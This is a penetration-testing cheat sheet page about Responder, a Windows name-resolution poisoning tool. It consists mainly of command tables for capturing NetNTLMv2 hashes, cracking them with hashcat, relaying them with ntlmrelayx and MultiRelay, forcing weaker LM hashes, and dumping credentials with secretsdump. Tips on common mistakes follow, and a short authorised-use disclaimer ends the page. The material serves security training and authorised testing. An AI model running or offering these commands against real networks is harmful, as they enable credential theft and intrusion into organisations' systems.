root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat responder.md
// Active Directory

Responder

21 Jul 2026 · 6 min read
Active Directorycheatsheetsresponder
Responder is a tool that poisons Windows name-resolution protocols —LLMNR, NBT-NS and MDNS— to impersonate the host a victim is looking for. When the client tries to authenticate against the attacker, Responder captures its NetNTLMv2 challenge-response, which you can then crack offline or relay. It is one of the first pieces in almost any Active Directory attack from an unauthenticated position.

What really matters to understand is that Responder doesn't break anything: it takes advantage of Windows falling back to LLMNR and NBT-NS when DNS fails, and answers those broadcast queries faster than anyone else. The hash it captures is a NetNTLMv2, a challenge-response that can't be used for pass-the-hash: it can only be cracked offline or relayed in real time. That's why the key decision is crack versus relay, and for relaying you must turn off Responder's SMB/HTTP servers so ntlmrelayx can use those ports.

1. Beginner level — poison and capture hashes

RESPONDER cheat sheet — Beginner
CommandWhat it does
responder -I tun0Poisons LLMNR/NBT-NS/MDNS on the interface
responder -I tun0 -vVerbose mode
responder -I tun0 -AAnalyze mode: only observes, doesn't poison
responder -I tun0 -wServes a WPAD to capture proxy auth
responder -I tun0 -fFingerprints the OS of hosts that respond
responder -I tun0 -dAlso answers DHCP requests
cat /usr/share/responder/logs/Responder-Session.logReview the session log
ls /usr/share/responder/logs/List the hashes captured per host
responder -I tun0 -FForces authentication of the WPAD client
responder -I tun0 -bOffers Basic authentication (cleartext credentials)
responder -I tun0 -PForces authentication at the proxy
responder -I tun0 -rAnswers NetBIOS name queries (wredir)
responder -hShows all the options
responder -I tun0 -v -w -FTypical setup: verbose + WPAD + force

2. Advanced level — NTLM relay and downgrade

RESPONDER cheat sheet — Advanced
CommandWhat it does
responder -I tun0 -A -vDetailed passive recon (without touching the network)
hashcat -m 5600 hashes.txt rockyou.txtCracks the captured NetNTLMv2
sed -i 's/SMB = On/SMB = Off/' Responder.confTurns off the SMB server (for relay)
sed -i 's/HTTP = On/HTTP = Off/' Responder.confTurns off the HTTP server (for relay)
ntlmrelayx.py -tf targets.txt -smb2supportChains Responder with NTLM relay
responder -I tun0 -w -d -fWPAD + DHCP + fingerprint at once
python3 RunFinger.py -i <rango>Detects SMB signing on the network (bundled with Responder)
responder -I tun0 --lmForces hash downgrade to LM
responder -I tun0 --disable-essDisables Extended Session Security (weaker hash)
crackmapexec smb <rango> --gen-relay-list targets.txtGenerates a list of hosts without SMB signing
python3 MultiRelay.py -t <ip> -u ALLRelay to a target with MultiRelay
responder -I tun0 -b -vBasic auth with detailed output
responder -I tun0 -v 2>&1 | tee capture.logSaves all output to a file
secretsdump.py dom/user@<ip>Uses the captured credentials to dump hashes

3. Details people miss

  • Responder needs root: it opens privileged ports (SMB 445, HTTP 80, DNS…). Without sudo it will start with errors or simply capture nothing.
  • Before poisoning, go through analyze mode (-A): you observe which hosts query LLMNR/NBT-NS without altering the network, a must in engagements where touching traffic is out of scope.
  • To relay you must turn off the SMB and HTTP servers in Responder.conf; if you leave them On they'll occupy the ports and ntlmrelayx won't be able to listen. It's the most common mistake when chaining both tools.
  • The captured NetNTLMv2 is useless for pass-the-hash: either you crack it offline (hashcat -m 5600) or you relay it. And relaying only works against hosts without SMB signing, so build the target list first.
  • Options like --lm or --disable-ess force weaker, easier-to-crack hashes, but they are noisy and some modern clients ignore them or log them as an anomaly.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.